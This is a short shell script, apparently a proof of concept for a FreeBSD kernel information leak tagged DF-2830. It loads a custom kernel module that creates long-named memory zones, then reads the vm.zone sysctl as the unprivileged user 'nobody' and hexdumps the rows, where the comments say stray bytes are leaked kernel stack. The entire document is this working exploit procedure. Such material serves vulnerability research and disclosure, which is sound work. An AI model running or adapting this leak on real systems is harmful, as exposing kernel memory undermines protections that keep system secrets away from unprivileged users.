#!/bin/sh
# DF-2830 PoC run: load long-named zones, then read vm.zone as nobody and
# hexdump the affected rows. Any byte between the ':' and the first space run
# beyond the 13-char padded name is leaked kernel stack.
set -e
kldload /root/df2830/df2830.ko
sleep 1
dmesg | tail -3
echo '--- unprivileged read, affected rows (cat -v):'
su -m nobody -c 'sysctl vm.zone' | grep -E 'AAAAA|BBBBB' | cat -v
echo '--- hexdump of A-row:'
su -m nobody -c 'sysctl vm.zone' | grep -a AAAAA | hexdump -C
echo '--- hexdump of B-row:'
su -m nobody -c 'sysctl vm.zone' | grep -a BBBBB | hexdump -C